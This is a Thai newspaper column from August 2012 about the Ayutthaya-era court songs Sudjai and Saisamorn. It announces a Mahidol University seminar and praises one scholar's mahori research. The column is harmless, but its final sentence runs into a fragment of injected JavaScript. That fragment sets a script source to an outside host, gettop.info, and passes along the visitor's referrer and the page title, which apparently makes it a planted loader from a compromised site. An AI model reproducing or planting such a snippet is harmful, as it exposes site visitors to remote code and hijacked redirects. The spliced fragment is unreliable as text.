Download PDF

มติชนรายวัน ฉบับประจำวันศุกร์ที่ 10  สิงหาคม 2555

 

          สุดใจ กับสายสมร เป็นชื่อ 2 เพลง ยุคอยุธยา สมัยสมเด็จพระนารายณ์ฯ ที่มีชาวฝรั่งเศสจดเป็นโน้ตสากล พิมพ์แทรกอยู่ในหนังสือภาษาฝรั่งเศส 2 เล่ม ที่เขียนโดยนักเดินทางชาวฝรั่งเศส 2 คน คือ แชร์แวส กับ ลา ลูแบร์

          ผมเคยเขียนถึง 2 เพลงนี้หลายครั้งหลายหน ต่อเนื่องหลายปีมาแล้ว ว่าเป็นเพลงมโหรีของราชสำนักอยุธยา ร้องเนื้อเต็ม (เหมือนร้องเพลงลูกทุ่ง-ลูกกรุง พร้อมดนตรีคลอตั้งแต่ต้นจนจบ)

          วงมโหรี มีเครื่องมือบรรเลง 5 อย่าง คือ ซอสามสาย, กระจับปี่, ขลุ่ย, โทนทับ, กรับ โดยคนร้องตีกรับไปด้วย คำร้องเป็นกลอนเพลง มีเนื้อหาเป็นนิยายนิทานเชิงสังวาสขับกล่อม เช่น เรื่องรถเสน

          มีแบบแผนวงมโหรีอย่างเก่าสุด เป็นปูนปั้น อายุราว พ.ศ. 1400 พบที่เมืองคูบัว (อ. เมือง จ. ราชบุรี) แล้วเป็นต้นแบบให้มีลายแกะไม้ยุคอยุธยาและรูปเขียนผนังสมัยหลังๆ

          ทำนองร้องมโหรียุคกรุงเก่ามีสำเนียงเขมรปนอยู่ด้วย มีเอื้อนเล็กๆน้อยๆแค่ประดับประดา ส่วนมากไม่มีเอื้อน ต่างจากเพลงเถามีกำเนิดยุคกรุงรัตนโกสินทร์ ช่วง ร.4-ร.5 มีเอื้อนมากลากยาวน่าเบื่อ น่ารำคาญ (แต่พวกอำมาตย์ชอบมากกกก)

          อ. สุกรี เจริญสุข ชวนให้ผมไปพูดคุยเล่าเรื่องสุดใจ, สายสมร เพลงมโหรียุคอยุธยาร้องเนื้อเต็ม งานเสวนาเรื่อง Exotic สุดใจ-สายสมร โน้ตสากลเพลงสยาม เก่าสุด ยุคอยุธยา จริงหรือ? ในห้องแสดงดนตรี วิทยาลัยดุริยางคศิลป์ ม. มหิดล ศาลายา นครปฐม บ่ายวันศุกร์ที่ 10 สิงหาคม 2555 ตั้งแต่ 12.30 น. เป็นต้นไป ฟรี ไม่ต้องมีบัตร แต่มีสูจิบัตรแจก

          ผมเลยขอให้ อ. พงษ์ศิลป์ อรุณรัตน์ (คณะอักษรศาสตร์ ม. ศิลปากร ทับแก้ว นครปฐม) จัดวงมโหรี ยุคอยุธยา ไปบรรเลงเพลงมโหรี ร้องเนื้อเต็ม ขับกล่อมเป็นตัวอย่างในงานเสวนาคราวนี้ด้วย ว่าสุดใจกับสายสมรก็เป็นอย่างนี้เอง

          อ. พงษ์ศิลป์เป็นชาวกรุงเทพฯโดยกำเนิด แล้วสืบเชื้อสายคนซอสามสายจากพ่อของเขาเอง (คือ ครูอุดม อรุณรัตน์ รับถ่ายทอดทางซอสามสายจากพระยาภูมีเสวิน ซึ่งเป็นครูผู้ใหญ่ซอสามสายแบบราชสำนัก) เป็นผู้สีซอสามสายในวงมโหรีโบราณที่เขารวมกับเพื่อนมิตรบรรเลงบันทึกเป็น ดีวีดี แถมในหนังสือวิชาการที่เขาค้นคว้ารวบรวม ชื่อมโหรีวิจักษณ์ (พิมพ์ครั้งแรก พ.ศ. 2553)

          ดีวีดี มโหรีกรุงเก่า มีเพลงมโหรีร้องเนื้อเต็ม เช่น เรื่องพระนคร (มี 3 เพลง), เรื่องทำขวัญ (มี 7 เพลง), เรื่องต้นเพลงฉิ่ง (มี 9 เพลง), ฯลฯ

          เสียงร้องเนื้อเต็มของ อ. บุตรี สุกปาน เมื่อผมฟังครั้งแรกแล้วต้องเพ้อรำพึงคนเดียวในใจว่า ใช่เลย อย่างนี้แหละลีลาอยุธยาที่น่าจะเป็น

          หนังสือมโหรีวิจักษณ์ กับดีวีดี เพลงมโหรี ยุคอยุธยาร้องเนื้อเต็ม เป็นงานค้นคว้าวิจัยทางเพลงดนตรีไทย โดยคนดนตรีไทย ที่ควรแก่การยกย่องอย่างยิ่ง เพราะยังไม่มีใครทำได้มาก่อนอย่างเป็นระบบจริงจัง

          หลายสิบปีมาแล้ว ดร. อุทิศ นาคสวัสดิ์ เคยทำวงมโหรีโบราณ ร้องเนื้อเต็ม อัดเสียงใส่เทปวางขายเป็นเพลงเบ็ดเตล็ดไม่กี่เพลง โดยไม่มีค้นคว้าอธิบายความเป็นมา

          หลังจากนั้นยังไม่มีใครค้นคว้าวิจัยอีก จนกระทั่งเพิ่งเห็นงานของ อ. พงษ์ศิลป์ ชุดนี้ที่เพียบพร้อมทั้งปริยัติ(วิชาการ) และปฏิบัติ(บรรเลงร้อง) ครบถ้วนs.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;